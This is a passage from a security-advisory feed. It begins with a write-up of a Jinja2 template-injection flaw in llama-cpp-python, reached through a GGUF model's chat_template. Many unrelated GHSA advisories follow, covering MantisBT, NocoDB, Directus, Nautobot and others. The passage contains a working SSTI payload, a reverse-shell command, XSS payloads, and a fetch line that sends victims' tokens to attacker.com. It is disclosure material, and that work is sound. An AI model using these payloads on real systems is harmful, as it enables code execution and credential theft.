[qwen1_5-0_5b-chat-q2_k.gguf](https://huggingface.co/Qwen/Qwen1.5-0.5B-Chat-GGUF/blob/main/qwen1_5-0_5b-chat-q2_k.gguf) of `Qwen/Qwen1.5-0.5B-Chat-GGUF` on `huggingface` as the base of the exploitation, by importing the file to `Hex-compatible` editors (In my case I used the built-in `Hex editor` or `vscode`), you can try to search for key `chat_template` (imported as `template = self.metadata["tokenizer.chat_template"]` in `llama-cpp-python`): <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405021808647.png" alt="image-20240502180804562" style="zoom: 25%;" /> `qwen1_5-0_5b-chat-q2_k.gguf` appears to be using the OG `role+message` and using the fun `jinja2` syntax. By first replacing the original `chat_template` in `\x00`, then inserting our SSTI payload. We constructed this payload which firstly iterates over the subclasses of the base class of all classes in Python. The expression `().__class__.__base__.__subclasses__()` retrieves a list of all subclasses of the basic `object` class and then we check if its `warning` by `if "warning" in x.__name__`, if it is , we access its module via the `_module` attribute then access Python's built-in functions through `__builtins__` and uses the `__import__` function to import the `os` module and finally we called `os.popen` to `touch /tmp/retr0reg`, create an empty file call `retr0reg` under `/tmp/` ```python {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("touch /tmp/retr0reg")}}{%endif%}{% endfor %} ``` in real life exploiting instance, we can change `touch /tmp/retr0reg` into arbitrary codes like `sh -i >& /dev/tcp/<HOST>/<PORT> 0>&1` to create a reverse shell connection to specified host, in our case we are using `touch /tmp/retr0reg` to showcase the exploitability of this vulnerability. <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405022009159.png" alt="image-20240502200909127" style="zoom:50%;" /> After these steps, we got ourselves a malicious model with an embedded payload in `chat_template` of the `metahead`, in which will be parsed and rendered by `llama.py:class Llama:init -> self.chat_handler `-> `llama_chat_format.py:Jinja2ChatFormatter:init -> self._environment = jinja2.Environment(` -> ``llama_chat_format.py:Jinja2ChatFormatter:call -> self._environment.render(` *(The uploaded malicious model file is in https://huggingface.co/Retr0REG/Whats-up-gguf )* ```python from llama_cpp import Llama # Loading locally: model = Llama(model_path="qwen1_5-0_5b-chat-q2_k.gguf") # Or loading from huggingface: model = Llama.from_pretrained( repo_id="Retr0REG/Whats-up-gguf", filename="qwen1_5-0_5b-chat-q2_k.gguf", verbose=False ) print(model.create_chat_completion(messages=[{"role": "user","content": "what is the meaning of life?"}])) ``` Now when the model is loaded whether as ` Llama.from_pretrained` or `Llama` and chatted, our malicious code in the `chat_template` of the `metahead` will be triggered and execute arbitrary code. PoC video here: https://drive.google.com/file/d/1uLiU-uidESCs_4EqXDiyKR1eNOF1IUtb/view?usp=sharing https://vulnerability.circl.lu/vuln/ghsa-93x3-m7pw-ppqm ghsa-93x3-m7pw-ppqm 2024-05-14T15:40:39.623815+00:00 Insufficient access control in the registration and password reset process allows an attacker to reset another user's password and takeover their account, if the victim has an incomplete request pending. The exploit is only possible while the verification token is valid, i.e for 5 minutes after the confirmation URL sent by e-mail has been opened, and the user did not complete the process by updating their password. A brute-force attack calling account_update.php with increasing user IDs is possible. ### Impact A successful takeover would grant the attacker full access to the compromised account, including sensitive information and functionalities associated with the account, the extent of which depends on its privileges and the data it has access to. ### Patches 92d11a01b195a1b6717a2f205218089158ea6d00 ### Workarounds Mitigate the risk by reducing the verification token's validity (change the value of the `TOKEN_EXPIRY_AUTHENTICATED` constant in *constants_inc.php*). ### References https://mantisbt.org/bugs/view.php?id=34433 ### Credits Alexander Christian, from Vantage Point Security Indonesia https://vulnerability.circl.lu/vuln/ghsa-99jc-wqmr-ff2q ghsa-99jc-wqmr-ff2q 2024-05-14T15:40:39.623804+00:00 If an issue references a note that belongs to another issue that the user doesn't have access to, then it gets hyperlinked. Clicking on the link gives an access denied error as expected, yet some information remains available via the link, link label, and tooltip. ### Impact Disclosure of the following information: - existence of the note - note author name - note creation timestamp - issue id the note belongs to ### Patches See PR https://github.com/mantisbt/mantisbt/pull/2000 ### Workarounds None ### References https://mantisbt.org/bugs/view.php?id=34434 https://vulnerability.circl.lu/vuln/ghsa-wgx7-jp56-65mq ghsa-wgx7-jp56-65mq 2024-05-14T15:40:39.623792+00:00 Improper escaping of a custom field's name allows an attacker to inject HTML and, if CSP settings permit, achieve execution of arbitrary JavaScript when: - resolving or closing issues (bug_change_status_page.php) belonging to a project linking said custom field - viewing issues (view_all_bug_page.php) when the custom field is displayed as a column - printing issues (print_all_bug_page.php) when the custom field is displayed as a column ### Impact Cross-site scripting (XSS). ### Patches https://github.com/mantisbt/mantisbt/commit/447a521aae0f82f791b8116a14a20e276df739be ### Workarounds Ensure Custom Field Names do not contain HTML tags. ### References - https://mantisbt.org/bugs/view.php?id=34432 - This is related to CVE-2020-25830 (same root cause, different affected pages) https://vulnerability.circl.lu/vuln/ghsa-9ggc-845v-gcgv ghsa-9ggc-845v-gcgv 2024-05-14T15:40:39.623779+00:00 ### Introduction In Matrix, the server-side *key backup* stores encrypted copies of Matrix message keys. This facilitates key sharing between a user's devices and provides a redundant copy in case all devices are lost. The key backup uses asymmetric cryptography, with each server-side key backup assigned a unique public-private key pair. ### Impact Due to a logic bug introduced in https://github.com/matrix-org/matrix-rust-sdk/pull/2961/commits/71136e44c03c79f80d6d1a2446673bc4d53a2067, the matrix-sdk-crypto crate version 0.7.0 will sometimes log the private part of the backup key pair to Rust debug logs (using the `tracing` crate). ### Patches This issue has been resolved in matrix-sdk-crypto [version 0.7.1](https://github.com/matrix-org/matrix-rust-sdk/releases/tag/matrix-sdk-crypto-0.7.1). ### Workarounds None. ### References - [crates.io release](https://crates.io/crates/matrix-sdk-crypto/0.7.1) ### For more information If you have any questions or comments about this advisory, please email us at [security at matrix.org](mailto:security@matrix.org). https://vulnerability.circl.lu/vuln/ghsa-xcp4-62vj-cq3r ghsa-xcp4-62vj-cq3r 2024-05-14T15:40:39.623766+00:00 ### Impact When opening a form in Valtimo, the access token (JWT) of the user is exposed to `api.form.io` via the the `x-jwt-token` header. An attacker can retrieve personal information from this token, or use it to execute requests to the Valtimo REST API on behalf of the logged-in user. This issue is caused by a misconfiguration of the Form.io component. ### Attack requirements ### The following conditions have to be met in order to perform this attack: - An attacker needs to have access to the network traffic on the `api.form.io` domain. - The content of the `x-jwt-token` header is logged or otherwise available to the attacker. - An attacker needs to have network access to the Valtimo API. - An attacker needs to act within the time-to-live of the access token. The default TTL in Keycloak is 5 minutes. ### Patches Versions 10.8.4, 11.1.6 and 11.2.2 have been patched https://vulnerability.circl.lu/vuln/ghsa-r95h-9x8f-r3f7 ghsa-r95h-9x8f-r3f7 2024-05-14T15:40:39.623753+00:00 ## Summary Nokogiri v1.16.5 upgrades its dependency libxml2 to [2.12.7](https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.12.7) from 2.12.6. libxml2 v2.12.7 addresses CVE-2024-34459: - described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/720 - patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/2876ac53 ## Impact There is no impact to Nokogiri users because the issue is present only in libxml2's `xmllint` tool which Nokogiri does not provide or expose. ## Timeline - 2024-05-13 05:57 EDT, libxml2 2.12.7 release is announced - 2024-05-13 08:30 EDT, nokogiri maintainers begin triage - 2024-05-13 10:05 EDT, nokogiri [v1.16.5 is released](https://github.com/sparklemotion/nokogiri/releases/tag/v1.16.5) and this GHSA made public https://vulnerability.circl.lu/vuln/ghsa-4ppj-4p4v-jf4p ghsa-4ppj-4p4v-jf4p 2024-05-14T15:40:39.623739+00:00 OpenStack Keystone Grizzly before 2013.1, Folsom, and possibly earlier allows remote attackers to cause a denial of service (CPU and memory consumption) via a large HTTP request, as demonstrated by a long tenant_name when requesting a token. https://vulnerability.circl.lu/vuln/ghsa-qg73-g3cf-vhhh ghsa-qg73-g3cf-vhhh 2024-05-14T15:40:39.623726+00:00 ### Summary --- Attacker can upload a html file with malicious content. If user tries to open that file in browser malicious scripts can be executed leading Stored XSS(Cross-Site Script) attack. ### PoC --- NocoDB was configured using the Release Binary `Noco-macos-arm64`, and nocodb version 0.202.9 (currently the latest version) was used. binary hash infos: md5(164b727f287af56168bc16fba622d0b4) / sha256(43e8e97f4c5f5330613abe071a359f84e4514b7186f92954b678087c37b7832e) <img width="665" alt="image" src="https://user-images.githubusercontent.com/86613161/287472673-aeb60a02-2080-429f-8583-9f130ab62779.png"> ### 1. Run the binary to start the server and access the arbitrary table dashboard. <img width="830" alt="image" src="https://user-images.githubusercontent.com/86613161/287472852-98b2286e-ad66-45bf-b503-63780619d775.png"> Here, used the default `Features` table. ### 2. Click `+` in the table `field header` to add an `attachment` field. <img width="1173" alt="image" src="https://user-images.githubusercontent.com/86613161/287472936-98a67213-a547-4e71-915c-d2a43300530b.png"> ### 3. Click the `Add File(s)` button to select and upload files. <img width="1132" alt="image" src="https://user-images.githubusercontent.com/86613161/287473041-0801ff39-e48c-4746-8518-be825bfd5533.png"> Here, `test.html` containing `<script>alert(document.domain)</script>` was uploaded. ### 4. Check the uploaded file path. <img width="1163" alt="image" src="https://user-images.githubusercontent.com/86613161/287473337-b1c7c781-2fb5-4bd0-b464-dbd3d4158f04.png" ### 5. Access the uploaded file path. <img width="1201" alt="image" src="https://user-images.githubusercontent.com/86613161/287473278-410f9228-58e3-4ee4-b111-70cdbffa9ed5.png"> When the file path is accessed, the `<script>alert(document.domain)</script>` script statement contained in the file is executed and the server host appears in the alert message. ### Impact --- This allows remote attacker to execute JavaScript code in the context of the user accessing the vector. An attacker could have used this vulnerability to execute requests in the name of a logged-in user or potentially collect information about the attacked user by displaying a malicious form. https://vulnerability.circl.lu/vuln/ghsa-8fxg-mr34-jqr8 ghsa-8fxg-mr34-jqr8 2024-05-14T15:40:39.623712+00:00 ### Summary --- An authenticated attacker with create access could conduct a SQL Injection attack on MySQL DB using unescaped table_name. ### Details --- ### SQL Injection vulnerability occurs in **VitessClient.ts**. ```javascript async columnList(args: any = {}) { const func = this.columnList.name; const result = new Result(); log.api(`${func}:args:`, args); try { args.databaseName = this.connectionConfig.connection.database; const response = await this.sqlClient.raw( `select *, table_name as tn from information_schema.columns where table_name = '${args.tn}' ORDER by ordinal_position`, ); ``` The variable **${args.tn}** refers to the table name entered by the user. A malicious attacker can escape the existing query by including a special character (') in the table name and insert and execute a new arbitrary SQL query. ### Impact --- This vulnerability may result in leakage of sensitive data in the database. https://vulnerability.circl.lu/vuln/ghsa-x5m7-63c6-fx79 ghsa-x5m7-63c6-fx79 2024-05-14T15:40:39.623698+00:00 A credentials leak vulnerability was found in the cluster monitoring operator in OCP. This issue may allow a remote attacker who has basic login credentials to check the pod manifest to discover a repository pull secret. https://vulnerability.circl.lu/vuln/ghsa-p8v3-m643-4xqx ghsa-p8v3-m643-4xqx 2024-05-14T15:40:39.623684+00:00 ## Summary A user with permission to view any collection using redacted hashed fields can get access the raw stored version using the `alias` functionality on the API. Normally, these redacted fields will return `**********` however if we change the request to `?alias[workaround]=redacted` we can instead retrieve the plain text value for the field. ## Steps to reproduce - Set up a simple role with read-access to users. - Create a new user with the role from the previous step - Assign a password to the user The easiest way to confirm this vulnerability is by first visiting `/users/me`. You should be presented with a redacted JSON-object. Next, visit `/users/me?alias[hash]=password`. This time, the returned JSON object will included the raw password hash instead of the redacted value. ## Workaround This can be avoided by removing permission to view the sensitive fields entirely from users or roles that should not be able to see them. https://vulnerability.circl.lu/vuln/ghsa-h6r4-xvw6-jc5h ghsa-h6r4-xvw6-jc5h 2024-05-14T15:40:39.623670+00:00 ### Summary A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. ### Details The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked. ### PoC Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T} Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX) Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage The attackers can use the fetch([http://attacker.com/?localStorage.getItem('nocodb-gui-v2')](http://attacker.com/?localStorage.getItem(%27nocodb-gui-v2%27))) to replace the alert and then steal the victims' credentials in their attacker.com website. ### Impact Stealing the credentials of NocoDB user that clicks the malicious link. https://vulnerability.circl.lu/vuln/ghsa-r2hr-4v48-fjv3 ghsa-r2hr-4v48-fjv3 2024-05-14T15:40:39.623654+00:00 ### Impact A Nautobot user with admin privileges can modify the `BANNER_TOP`, `BANNER_BOTTOM`, and `BANNER_LOGIN` configuration settings via the `/admin/constance/config/` endpoint. Normally these settings are used to provide custom banner text at the top and bottom of all Nautobot web pages (or specifically on the login page in the case of `BANNER_LOGIN`) but it was reported that an admin user can make use of these settings to inject arbitrary HTML, potentially exposing Nautobot users to security issues such as cross-site scripting (stored XSS). ### Patches _Has the problem been patched? What versions should users upgrade to?_ Patches will be released as part of Nautobot 1.6.22 and 2.2.4. ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ As [described in the Nautobot documentation](https://docs.nautobot.com/projects/core/en/stable/user-guide/administration/configuration/optional-settings/#administratively-configurable-settings), these settings are only configurable through the admin UI of Nautobot if they are *not* explicitly set to some non-empty value in the `nautobot_config.py` or equivalent Nautobot configuration file. Therefore, adding the following configuration to said file completely mitigates this vulnerability in both Nautobot 1.x and 2.x: ```python BANNER_LOGIN = " " BANNER_TOP = " " BANNER_BOTTOM = " " ``` or alternately (Nautobot 2.x only), if those variables are not defined explicitly in your configuration file, setting the following environment variables for the Nautobot user account serves the same purpose: ```shell NAUTOBOT_BANNER_LOGIN=" " NAUTOBOT_BANNER_TOP=" " NAUTOBOT_BANNER_BOTTOM=" " ``` Limiting all users who do not need elevated privileges to non-admin access (`is_superuser: False` and `is_staff: False`) is a partial mitigation as well. ### References - https://github.com/nautobot/nautobot/pull/5697 - https://github.com/nautobot/nautobot/pull/5698 https://vulnerability.circl.lu/vuln/ghsa-g65h-35f3-x2w3 ghsa-g65h-35f3-x2w3 2024-05-14T15:40:39.623636+00:00 ### Summary Currently session tokens function like the other JWT tokens where they are not actually invalidated when logging out. The `directus_session` gets destroyed and the cookie gets deleted but if you captured the cookie value it will still work for the entire expiry time which is set to 1 day by default. Making it effectively a long lived unrevokable stateless token instead of the stateful session token it was meant to be. When authenticating a session token JWT, Directus should also check whether the associated `directus_session` both still exists and has not expired (although the token should expire at the same time or before the session) to ensure leaked tokens are not valid indefinitely. ## Steps to reproduce - Copy the current session token from the cookie - Refresh and or log out - Use the saved session token to check if it is still valid ### Impact The lack of proper session expiration may improve the likely success of certain attacks. For example, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Incorrect token invalidation could allow an attacker to use the browser's history to access a Directus instance session previously accessed by the victim. https://vulnerability.circl.lu/vuln/ghsa-4vhj-98r6-424h ghsa-4vhj-98r6-424h 2024-05-14T15:40:39.623563+00:00 In Bouncy Castle JCE Provider version 1.55 and earlier the DSA does not fully validate ASN.1 encoding of signature on verification. It is possible to inject extra elements in the sequence making up the signature and still have it validate, which in some cases may allow the introduction of 'invisible' data into a signed structure.